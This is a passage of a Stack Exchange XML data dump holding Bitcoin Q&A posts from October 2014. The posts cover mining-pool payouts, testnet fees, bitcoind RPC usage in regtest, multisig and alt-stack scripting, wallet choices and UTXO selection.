3.0" />
  <row Id="32122" PostTypeId="1" AcceptedAnswerId="32126" CreationDate="2014-10-25T15:24:28.213" Score="0" ViewCount="400" Body="&lt;p&gt;Very new to this concept, why would something like this occur on Bitminter's pool?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;Completed   Duration    Difficulty  Pay/Hour at 1 TH/s  Total Thps  Your Ghps Your work&#xA;2014-10-25 15:02    1h 46m  35,985,640,265  being paid now  2,436.1 10.7    15,856&#xA;2014-10-25 13:15    2h 15m  35,985,640,265  being paid now  1,896.0 10.9    20,718&#xA;2014-10-25 10:59    2h 13m  35,985,640,265  being paid now  1,935.6 10.4    19,340&#xA;2014-10-25 08:45    2h 26m  35,985,640,265  being paid now  1,767.4 10.2    20,756&#xA;2014-10-25 06:18    2h 30m  35,985,640,265  being paid now  1,721.0 10.3    21,688&#xA;2014-10-25 03:48    2h 11m  35,985,640,265  being paid now  1,951.9 10.2    18,872&#xA;2014-10-25 01:36    2h 36m  35,985,640,265  being paid now  1,646.6 10.4    22,722&#xA;2014-10-24 22:59    2h 35m  35,985,640,265  being paid now  1,653.5 10.2    22,314&#xA;2014-10-24 20:23    2h 37m  35,985,640,265  being paid now  1,641.0 10.9    24,036&#xA;2014-10-24 17:46    2h 36m  35,985,640,265  being paid now  1,649.8 10.8    23,620&#xA;2014-10-24 15:09    2h 35m  35,985,640,265  ?               1,664.1 10.6    22,992&#xA;2014-10-24 12:34    2h 37m  35,985,640,265  0.00000000      1,642.0 10.0    21,882&#xA;2014-10-24 09:56    2h 36m  35,985,640,265  0.00000000      1,650.2 10.3    22,502&#xA;2014-10-24 07:20    2h 29m  35,985,640,265  0.00000000      1,724.3 10.4    21,844&#xA;2014-10-24 04:50    2h 09m  35,985,640,265  0.00000000      1,996.7 8.5     15,322&#xA;2014-10-24 02:40    2h 34m  35,985,640,265  0.00057673      1,673.0 0.2     432&#xA;2014-10-24 00:06    2h 26m  35,985,640,265  0.00057673      1,756.1 0.2     354&#xA;2014-10-23 21:38    1h 41m  35,985,640,265  0.00057673      2,544.7 0.2     222&#xA;2014-10-23 19:57    1h 34m  35,985,640,265  0.00057673      2,736.5 0.2     212&#xA;2014-10-23 18:22    2h 00m  35,985,640,265  0.00057673      2,135.9 0.2     284&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some cases, next to no work was done - and small reward was found. In others, far more was contributed, but the pay is zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ask on the heels of switching from cgminer to bfgminer; could this be the cause? Is the timing otherwise purely circumstantial?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="20823" LastActivityDate="2014-10-25T20:26:45.773" Title="Bitminter - no rewards when more work was done?" Tags="|mining-pools|bfgminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32123" PostTypeId="1" AcceptedAnswerId="32125" CreationDate="2014-10-25T19:10:17.563" Score="3" ViewCount="413" Body="&lt;p&gt;As in the title, I'm wondering if testnet networks always require the same fee. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the coins aren't worth any thing, so it doesn't matter if I have to pay the fee or not, but I'm just curious. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-10-26T15:18:11.057" Title="Do testnet networks require the same main network fee?" Tags="|testnet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32124" PostTypeId="2" ParentId="32123" CreationDate="2014-10-25T19:57:30.940" Score="-3" Body="&lt;p&gt;Testnet allows to send transactions without fees. &#xA;Mainnet does not mine such transactions.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-10-25T19:57:30.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32125" PostTypeId="2" ParentId="32123" CreationDate="2014-10-25T20:17:31.653" Score="2" Body="&lt;p&gt;I would say so. I can't find any code that make fees lower or optional for testnet users. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it's substantially easier to send a free transaction.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;inline bool AllowFree(double dPriority)&#xA;{&#xA;    // Large (in bytes) low-priority (new, small-coin) transactions&#xA;    // need a fee.&#xA;    return dPriority &amp;gt; COIN * 144 / 250;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;dPriority is higher for larger amounts. Testnet coins are worth much less, so you're more likely to send lots of them around. For example, if you sent 50 testnet coins half an hour after you got them, that would be eligible for a free transaction.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2014-10-26T15:18:11.057" LastActivityDate="2014-10-26T15:18:11.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32126" PostTypeId="2" ParentId="32122" CreationDate="2014-10-25T20:26:45.773" Score="1" Body="&lt;p&gt;When a block is found the 10 latest shifts get paid. Finding blocks is a random event. Sometimes we find the next block quickly, other times it takes longer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes it happens that it takes a lot of work before the next block is found by the pool. With PPLNS what then happens is that some of the work is not paid at all. The opposite happens when many blocks are found in quick succession. The same work gets paid many times and the pay is extremely good. Over time this evens out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the nature of mining. If you were mining solo instead of in a pool the variance would be much greater. You could find a block and get 25 bitcoins after a few seconds. Or it could take you several years.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2014-10-25T20:26:45.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32127" PostTypeId="1" AcceptedAnswerId="32171" CreationDate="2014-10-25T22:41:31.280" Score="7" ViewCount="1543" Body="&lt;p&gt;I'm looking for some Bitcoin wallet software I can host locally on my Linux server that provides either an API or webhooks for detecting when Bitcoin transactions have completed. I also need a way to initiate transactions (i.e. tell the wallet to send Bitcoins to an address).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of anything? I know there is coinpunk, but I don't see anything about it having such functionality.&lt;/p&gt;&#xA;" OwnerUserId="10639" LastEditorUserId="10639" LastEditDate="2014-10-25T22:50:06.193" LastActivityDate="2014-10-28T08:07:57.383" Title="Self-hosted Bitcoin wallet for Linux with API?" Tags="|wallet|api|linux|hosting|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32128" PostTypeId="1" AcceptedAnswerId="32129" CreationDate="2014-10-26T07:37:33.213" Score="1" ViewCount="388" Body="&lt;p&gt;I'm building a web application that uses bitcoind's accounts to track user balances. My dev env is currently in &lt;code&gt;regtest&lt;/code&gt; mode. I am working on calculating the network transaction fee prior to creating a raw transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I &lt;code&gt;listunspent&lt;/code&gt; to bitcoind over JSON-RPC, I get a multidim array that includes txid, address, and scriptPubKey (amongst other things). How can I use this information to determine which account these utxo's are tied to? I thought I'd be able to use &lt;code&gt;getaccount&lt;/code&gt; with the returned corresponding addresses, but I'm returned an empty string. Is that because the transaction originated from the wallet 'global' account? Is that something to do with regression testing mode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried &lt;code&gt;listtransactions&lt;/code&gt; for the specific account to match txid, but didn't have txid's because they were moves. Even if I could do this for network transactions, how would I handle utxo's that were resulting from a move?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can &lt;code&gt;getbalance&lt;/code&gt; for different accounts and see the correct resulting balances from using the &lt;code&gt;move&lt;/code&gt; command. I'm beginning to question a few things so I'm not sure where I have an problem or if I'm going about this the wrong way. Ultimately, my goal is to be able to calculate tx fee so the user can approve them before sending...keeping in mind single wallet with each user having their own account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help! ...it's late and my head hurts lol&lt;/p&gt;&#xA;" OwnerUserId="12710" LastActivityDate="2014-10-26T11:09:53.820" Title="What is the easiest way to associate an utxo to a specific account?" Tags="|bitcoind|transaction-fees|json-rpc|raw-transaction|utxo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32129" PostTypeId="2" ParentId="32128" CreationDate="2014-10-26T11:09:53.820" Score="1" Body="&lt;p&gt;The long and short of it is that you can't associate UTXOs with accounts, you can only associate addresses. From the &lt;a href=&quot;https://en.bitcoin.it/wiki/Accounts_explained&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoin wiki accounts page&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When you receive bitcoins, they are always assigned to one of your accounts, and you can change which account is credited based on which bitcoin address receives the coins, just like you tell a bank teller which account to credit when you deposit cash in your bank. However, sending bitcoins is like withdrawing cash from the bank; the coins that are sent out and debited from an account are almost always not the same coins that were deposited into that account.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you haven't already, you should see &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/21153/bitcoin-accounts-feature-is-it-practical-or-scalable&quot;&gt;this post&lt;/a&gt; about why the accounts portion of the tab isn't really scalable. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I thought I'd be able to use getaccount with the returned corresponding addresses, but I'm returned an empty string. Is that because the transaction originated from the wallet 'global' account?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, that is exactly, why. The default account is named &quot;&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you can associate UTXOs with accounts through associating addresses with accounts, but when spending, there's no guarantee about where you're spending from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a possible work around, you might look at using this rpc call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;listreceivedbyaddress ( minconf includeempty )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2014-10-26T11:09:53.820" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32130" PostTypeId="2" ParentId="19112" CreationDate="2014-10-26T11:24:20.960" Score="0" Body="&lt;p&gt;Has the transaction already been mined into a block? I'm assuming not since it's in your raw mem pool. Why wasn't it mind in that case? Did it not have any fee?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would try sending the coins to yourself with a much larger fee than the original transaction. Like Steven Roose said above, once transactions have been sent out to the network, they can't really be undone. &lt;strong&gt;Even if you delete it from your raw mem pool, it's still in everyone elses raw mem pool just waiting to be confirmed.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make your own custom transaction that spends the UTXOs you want to spend, use the rpc calls:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;listtransactions&#xA;listunspent&#xA;createrawtransaction&#xA;signrawtransaction&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The default behaviour is for clients to accept whatever transactions spend an UTXO first. So most standard clients will not accept secondary spends of specific UTXOs. Mining pools may be a little bit more persuadable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure how viable this is, but I just found this: &lt;a href=&quot;http://www.bitundo.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitundo.com/&lt;/a&gt;. Read up on it before giving any money to a service like this. It also only works for transactions that haven't been confirmed into blocks at all yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also read this article &lt;a href=&quot;http://bitcoinmagazine.com/2960/instant-transaction-fraud-an-explanation/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinmagazine.com/2960/instant-transaction-fraud-an-explanation/&lt;/a&gt;. It has some very interesting stuff relevant to this question.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-10-26T11:24:20.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32131" PostTypeId="2" ParentId="31985" CreationDate="2014-10-26T12:22:38.710" Score="2" Body="&lt;p&gt;Out of curiosity, what's the use case for a configuration like this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do this using the bitcoin scripting language? Yes, absolutely. Making it and actually having it included into a block is questionable, mainly because it would be a non standard transaction type. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There aren't really a lot of tools to help you do it, though. I can describe what the scripts would have to look like, but not sure how you would actually make such a transaction. &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/26940/advanced-bitcoin-transactions&quot;&gt;This question&lt;/a&gt; might be of interest to you as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The assumed &lt;code&gt;scriptSig&lt;/code&gt;, where we don't know what combination of signatures we have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 {sig1} {sig2}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;scriptPubKey&lt;/code&gt; would be a standard P2SH pub key script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_HASH160 {hash} EQUAL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;redeemScript&lt;/code&gt; (in this P2SH transaction) might look something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3DUP 2 {A_pub} {B_pub} 2 CHECKMULTISIG DUP NOTIF&#xA;    3DUP 2 {C_pub} {D_pub} 2 CHECKMULTISIG DUP NOTIF&#xA;        3DUP 2 {A_pub} {D_pub} 2 CHECKMULTISIG &#xA;    ENDIF &#xA;ENDIF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe this would work, but if someone could check the logic of this script here, I'd appreciate it. The &lt;code&gt;OP_3DUP&lt;/code&gt; is necessary because the &lt;code&gt;scriptSig&lt;/code&gt; should have 3 items on it already (2 signatures and the OP_0 to satisfy the off-by-1 error in the original client), and those 3 items need to be used more than once.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2014-10-27T02:52:12.320" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32132" PostTypeId="1" AcceptedAnswerId="32135" CreationDate="2014-10-26T12:27:49.650" Score="3" ViewCount="316" Body="&lt;p&gt;When executing bitcoin validation scripts, does the final stack have to end with just &lt;code&gt;true&lt;/code&gt; on the stack, or can there be some elements under the &lt;code&gt;true&lt;/code&gt;? In other words, are both of these final stack configurations valid, or just the first?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stack1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Stack2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 {pub_key} true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-10-26T15:01:41.023" Title="Bitcoin Script Execution - Must end with just `true`?" Tags="|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32133" PostTypeId="1" AcceptedAnswerId="32134" CreationDate="2014-10-26T12:45:25.607" Score="12" ViewCount="1911" Body="&lt;p&gt;I noticed in the bitcoin wiki script page (&lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot;&gt;https://en.bitcoin.it/wiki/Script&lt;/a&gt;) that there were two opcodes named:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_TOALTSTACK&#xA;OP_FROMALTSTACK&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks like there is another stack that can be used separately as a data store, simply pushing and popping data. I've never heard of this before, but it seems like a very useful feature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone verify that this is what the alt stack is actually meant to be used for? If not for just pushing and popping data, what is it for? Do any specific use cases come to mind?&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="47827" LastEditDate="2021-06-08T08:14:02.220" LastActivityDate="2021-06-08T08:14:02.220" Title="What is the alt stack?" Tags="|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32134" PostTypeId="2" ParentId="32133" CreationDate="2014-10-26T14:47:31.407" Score="9" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/25cc1cf8dc03b9ba0ae886d354855adc207b5b6e/src/script/interpreter.cpp#L308&quot; rel=&quot;noreferrer&quot;&gt;Here's where they're defined:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            case OP_TOALTSTACK:&#xA;            {&#xA;                if (stack.size() &amp;lt; 1)&#xA;                    return false;&#xA;                altstack.push_back(stacktop(-1));&#xA;                popstack(stack);&#xA;            }&#xA;            break;&#xA;&#xA;            case OP_FROMALTSTACK:&#xA;            {&#xA;                if (altstack.size() &amp;lt; 1)&#xA;                    return false;&#xA;                stack.push_back(altstacktop(-1));&#xA;                popstack(altstack);&#xA;            }&#xA;            break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Stack:&#xA;Alternate Stack:&#xA;Script: OP_1 OP_2 OP_TOALTSTACK&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Stack: 01&#xA;Alternate Stack:&#xA;Script: OP_2 OP_TOALTSTACK&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Stack: 01 02&#xA;Alternate Stack:&#xA;Script: OP_TOALTSTACK&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Stack: 01&#xA;Alternate Stack: 02&#xA;Script: &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;what is it for? Do any specific use cases come to mind?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's... use-impaired. 99% of the time, you can avoid using OP_(TO|FROM)ALTSTACK by putting things onto the stack in a different order. There are 18 stack manipulation operators, but only one (OP_DUP) is used with any regularity. I'm of the opinion that Bitcoin scripting is overcomplicated for its intended use.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2014-10-26T17:09:28.917" LastActivityDate="2014-10-26T17:09:28.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32135" PostTypeId="2" ParentId="32132" CreationDate="2014-10-26T15:01:41.023" Score="5" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot;&gt;Quoting Bitcoin wiki:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A transaction is valid if nothing in the combined script triggers failure and the top stack item is true (non-zero). &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/25cc1cf8dc03b9ba0ae886d354855adc207b5b6e/src/script/interpreter.cpp#L993&quot;&gt;From the source code:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (CastToBool(stack.back()) == false)&#xA;    return false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(In case you don't know what vector.back() does, &lt;a href=&quot;http://www.cplusplus.com/reference/vector/vector/back/&quot;&gt;it returns the last item&lt;/a&gt;.)&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-10-26T15:01:41.023" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32137" PostTypeId="2" ParentId="748" CreationDate="2014-10-26T17:06:32.243" Score="5" Body="&lt;p&gt;You can download the whole historical data &lt;strong&gt;(every single trade)&lt;/strong&gt; from the various exchanges &lt;strong&gt;as a single .csv file&lt;/strong&gt; here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://api.bitcoincharts.com/v1/csv/&quot; rel=&quot;nofollow&quot;&gt;http://api.bitcoincharts.com/v1/csv/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11946" LastEditorUserId="11946" LastEditDate="2014-10-27T08:56:20.307" LastActivityDate="2014-10-27T08:56:20.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32138" PostTypeId="1" AcceptedAnswerId="32139" CreationDate="2014-10-26T18:03:02.350" Score="4" ViewCount="7565" Body="&lt;p&gt;Here is my terminal session: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ echo $address&#xA;mvt7M16caMH1xoJyfWU5orjArfq97jhZ7k&#xA;$ bitcoin-cli -regtest getbalance&#xA;5899.99990000&#xA;$ bitcoin-cli -regtest sendtoaddress $address 10.0&#xA;6ed7452f8f11fe25904867b57e127a6b65cb180c2013e667e3d399c4179ff1f0&#xA;$ bitcoin-cli -regtest setgenerate true 1 &#xA;$ bitcoin-cli -regtest getbalance $address&#xA;0.00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Shouldn't the balance of this address be 10 now? I thought that by generating a block, I will have that transaction included, which will show up on the addresses balance?&lt;/p&gt;&#xA;" OwnerUserId="20835" LastEditorUserId="2306" LastEditDate="2014-10-26T18:12:09.180" LastActivityDate="2022-10-02T11:35:29.817" Title="Bitcoin RPC getbalance of address I sent coins to on regtest" Tags="|json-rpc|regtest|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32139" PostTypeId="2" ParentId="32138" CreationDate="2014-10-26T18:24:21.313" Score="4" Body="&lt;p&gt;&lt;code&gt;getbalance&lt;/code&gt; returns the balance of an account, not an address.  &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's no account by the name of mvt7M16caMH1xoJyfWU5orjArfq97jhZ7k, it will return 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try using &lt;code&gt;getreceivedbyaddress&lt;/code&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-10-26T18:24:21.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32140" PostTypeId="1" CreationDate="2014-10-26T18:50:27.963" Score="8" ViewCount="3019" Body="&lt;p&gt;I have seen many videos about paper wallets and different ways to store BTC. And I have choose to store using a cold wallet (paper wallet). But I am not sure what option I should choose: a normal BIP38 encrypted paper wallet, or a brain wallet printed in paper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And plz tell me the differens with BIP38 and brain wallet.Thanks for your answer :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S: Which one is securest?&lt;/p&gt;&#xA;" OwnerUserId="20836" LastEditorUserId="20836" LastEditDate="2014-10-26T18:55:51.683" LastActivityDate="2019-01-23T00:03:40.587" Title="BIP38 or Brain wallet?" Tags="|encryption|paper-wallet|coldstorage|brain-wallet|bip38|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32141" PostTypeId="1" CreationDate="2014-10-26T20:49:32.200" Score="1" ViewCount="3411" Body="&lt;p&gt;I want to distribute some miners, but I prefer not to distribute 2 versions of everything (32-bit and 64-bit).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://windows.microsoft.com/en-us/windows/32-bit-and-64-bit-windows&quot; rel=&quot;nofollow&quot;&gt;According to Microsoft&lt;/a&gt;, most 32-bit programs run on 64-bit systems. I'm not concerned with that as much as an efficiency drop; will 32-miners be half the optimal speed on a 64-bit system? Additionally, many miners (cgminer/cudaminer) require drivers to be installed; these would obviously have to be 64-bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, should I distribute only one version of the CPU miner (minerd.exe) or will that cause problems or a lack of efficiency?&lt;/p&gt;&#xA;" OwnerUserId="20839" LastEditorUserId="5406" LastEditDate="2016-04-24T09:20:30.577" LastActivityDate="2016-04-24T09:20:30.577" Title="Will 64-bit miners work on 32-bit machines?" Tags="|mining-software|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32142" PostTypeId="1" CreationDate="2014-10-26T23:46:00.253" Score="2" ViewCount="397" Body="&lt;p&gt;I'm trying to access an armory wallet via RPCs. For instance using the procedure &lt;code&gt;listreceivedbyaddress&lt;/code&gt; should ideally return all of the addresses in my Armory wallet. However, when I run this from my shell I get &lt;/p&gt;&#xA;&#xA;&lt;p&gt;$ bitcoin-cli listreceivedbyaddress&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[&#xA;]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I definitely have addresses inside of my wallet, so I must have some configuration stuff wrong. I let armory start &lt;code&gt;bitcoind&lt;/code&gt; on its own, and then I start making calls from &lt;code&gt;bitcoin-cli&lt;/code&gt;. Is this the wrong way to use this? I feel like I am missing an authentication step. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! &lt;/p&gt;&#xA;" OwnerUserId="20835" LastActivityDate="2014-12-26T14:28:28.130" Title="JSON RPC calls for Armory wallet" Tags="|bitcoind|json-rpc|armory|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32143" PostTypeId="2" ParentId="32141" CreationDate="2014-10-26T23:53:21.290" Score="3" Body="&lt;p&gt;When you run 32-bit versions of software on 64-bit systems in Windows the applications are executed a bit slower than they would in a 32-bit system mainly because of the &lt;a href=&quot;https://en.wikipedia.org/wiki/WoW64&quot; rel=&quot;nofollow&quot;&gt;WoW64&lt;/a&gt; subsystem that emulates the 32-bit environment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On top of that, if your mining software requires lots of physical memory, the 4 GB barrier on the 32-bit architecture (or the 32-bit version of the software running in WoW64) would result in disk swapping for the required but not-available physical memory, which would significantly slow down the whole process especially if your system does not run on SSD disks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that, although it's rare, it's still possible that the 64-bit version of a program can actually be slower than its 32-bit version, and this occurs in low quality software where data variables are being represented by the biggest-in-size variable types while they shouldn't, which in turn results in the increase of the sizes of pointers that live in the system’s physical memory and from that point on memory swapping is just a few steps away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, no, you shouldn't use the same version of software across all your machines.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-10-26T23:53:21.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32145" PostTypeId="1" AcceptedAnswerId="32445" CreationDate="2014-10-27T02:28:41.520" Score="9" ViewCount="1985" Body="&lt;p&gt;When someone would like to make a transaction, their software has to choose which of their UTXOs to spend. Here are a few different ways that one might prioritize which UTXOs get spent.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Oldest UTXOs first&lt;/li&gt;&#xA;&lt;li&gt;Newest UTXOs first&lt;/li&gt;&#xA;&lt;li&gt;UTXOs with the smallest amounts first&lt;/li&gt;&#xA;&lt;li&gt;UTXOs with the greatest amounts first&lt;/li&gt;&#xA;&lt;li&gt;The Core Client Selection Algorithm: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1077/what-is-the-coin-selection-algorithm&quot;&gt;What is the coin selection algorithm?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Others?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What the trade-offs are for the different ways of prioritizing spending of UTXOs? Are some faster? Do some make make the block chain less big (grow less quickly)? Do some make the UTXO set smaller? What about making it so that the user has to pay the least fees? Taking all these factors into consideration, is there a method that is generally accepted to be the best way? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On possibility, which I like, is to spend the most UTXOs possible while still staying in the 1kb minimum fee limit. That way if nodes that prune the blockchain of STXOs (spent transaction outputs), they can prune more and it makes the blockchain smaller for them. Although, this might cause a small amount of bloating for nodes who keep the whole block chain, so it's a tradeoff. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2022-06-16T19:19:16.947" Title="What are the trade-offs between the different algorithms for deciding which UTXOs to spend?" Tags="|utxo|spending|coin-selection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
